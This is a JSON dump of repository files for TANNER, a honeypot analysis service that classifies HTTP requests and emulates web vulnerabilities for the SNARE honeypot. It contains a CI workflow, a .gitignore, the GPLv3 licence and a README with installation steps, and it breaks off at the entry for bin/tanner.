[
  {
    "path": ".coveragerc",
    "content": "[report]\nomit = */tests/*\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ngithub: [mushorg,]\n"
  },
  {
    "path": ".github/workflows/test.yml",
    "content": "name: Tests\n\non: [push]\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        python-version: ['3.9', '3.10']\n\n    services:\n      mysql:\n        image: mysql:5.7\n        env:\n          MYSQL_ROOT_PASSWORD: user_pass\n          MYSQL_DATABASE: tanner_db\n        ports:\n          - 3306:3306\n        options: --health-cmd=\"mysqladmin ping\" --health-interval=10s --health-timeout=5s --health-retries=3\n      redis:\n        image: redis\n        ports:\n          - 6379:6379\n        options: --entrypoint redis-server\n    steps:\n      - uses: actions/checkout@v3\n      - name: Set up Python ${{ matrix.python-version }}\n        uses: actions/setup-python@v3\n        with:\n          python-version: ${{ matrix.python-version }}\n      - name: Install dependencies\n        run: |\n          python -m pip install --upgrade pip \n          pip install black pytest coveralls\n          if [ -f requirements.txt ]; then pip install -r requirements.txt; fi\n      - name: Lint with black\n        run: |\n          black --line-length 120 .\n      - name: Test with pytest\n        run: |\n          python setup.py install\n          docker pull busybox:latest\n          pytest\n"
  },
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*,cover\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n\n.idea/\n.vscode/\nvenv/\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {one line to give the program's name and a brief idea of what it does.}\n    Copyright (C) {year}  {name of author}\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    {project}  Copyright (C) {year}  {fullname}\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n\n"
  },
  {
    "path": "README.md",
    "content": "TANNER\n======\n[![Documentation Status](https://readthedocs.org/projects/tanner/badge/?version=latest)](http://tanner.readthedocs.io/en/latest/?badge=latest)\n[![Build Status](https://travis-ci.org/mushorg/tanner.svg?branch=master)](https://travis-ci.org/mushorg/tanner)\n[![Coverage Status](https://coveralls.io/repos/github/mushorg/tanner/badge.svg?branch=master)](https://coveralls.io/github/mushorg/tanner?branch=master)\n[![Coverage Status](https://coveralls.io/repos/github/mushorg/tanner/badge.svg?branch=develop)](https://coveralls.io/github/mushorg/tanner?branch=develop)\n\n<b><i>He who flays the hide</b></i>\n\n\nAbout\n-----\nTANNER is a remote data analysis and classification service to evaluate HTTP requests and composing the response then served by [SNARE](https://github.com/mushorg/snare). TANNER uses multiple application vulnerability type emulation techniques when providing responses for SNARE. In addition, TANNER provides Dorks for SNARE powering its luring capabilities.\n\n\nDocumentation\n-------------\nThe documentation can be found [here](http://tanner.readthedocs.io).\n\n\nBasic Concept\n-------------\n\n- Evaluating [SNARE](https://github.com/mushorg/snare) events.\n- Serve dorks.\n- Emulate vulnerabilities and provide responses.\n\n\nGetting Started\n---------------\n\n- You need Python3.7 and above for installing tanner.\n- This was tested with a recent Ubuntu-based Linux.\n\n### Steps to install TANNER\n\n#### Step 1: Setup Redis\n\n1. Install the Redis: ``sudo apt-get install redis-server``\n2. Run ``redis-server`` (to start it on `localhost` with default `port`)\n\n#### Step 2: Setup PHP Sandbox\n\n1. For PHP Sandbox setup, see sandbox [manual](https://github.com/mushorg/phpox)\n2. In PHP Sandbox directory, run sandbox: ``sudo python3 sandbox.py``\n\n#### Step 3: Setup Docker\n\n1. Run ``sudo apt-get install docker-ce docker-ce-cli containerd.io``\n\nFor more info please see the detailed installation guide [here.](https://docs.docker.com/engine/installation/linux/ubuntu/)\n\n#### Step 4: Setup and run TANNER\n\n1. Get TANNER: `git clone https://github.com/mushorg/tanner.git`\n2. Go to the TANNER source  directory: ``cd tanner``\n3. Install requirements: `sudo pip3 install -r requirements.txt`\n4. Install TANNER: ``sudo python3 setup.py install``\n5. Run TANNER: ``sudo tanner``\n6. (Optional) For runnning TANNER Api ``sudo tannerapi``\n7. (Optional) For runnning TANNER Web ``sudo tannerweb``\n\nNote:- Make sure you have `python3-dev` incase you are facing problem with installing some requirments.\n```\n  sudo apt-get install python3-dev\n```\n\n(Recommended) You should bind to 0.0.0.0 when running in <i>production</i> and on a different host than SNARE.\n\n### Install and run TANNER using docker container\n\nIn case you want to run the TANNER service using docker or facing any problem\nin setting up TANNER on your machine, you can follow these steps.\n\n#### Docker build instructions\n1. Change the current directory to `tanner/docker`\n2. `sudo docker-compose build`\n3. `sudo docker-compose up`\n\nMore information about running `docker-compose` can be found [here.](https://docs.docker.com/compose/gettingstarted/)\n\nTesting\n-------\n\nIn order to run the tests and receive a test coverage report, we recommend running `pytest`:\n\n    pip install pytest pytest-cov\n    sudo pytest --cov-report term-missing --cov=tanner tanner/tests/\n\nSample Output\n-------------\n\n```shell\n    # sudo tanner\n\n           _________    _   ___   ____________\n          /_  __/   |  / | / / | / / ____/ __ \\\n           / / / /| | /  |/ /  |/ / __/ / /_/ /\n          / / / ___ |/ /|  / /|  / /___/ _, _/\n         /_/ /_/  |_/_/ |_/_/ |_/_____/_/ |_|\n\n\n     Debug logs will be stored in /opt/tanner/tanner.log\n     Error logs will be stored in /opt/tanner/tanner.err\n     ======== Running on http://0.0.0.0:8090 ========\n     (Press CTRL+C to quit)\n\n```\n"
  },
  {
    "path": "bin/__init__.py",
    "content": ""
  },
  {
    "path": "bin/tanner",
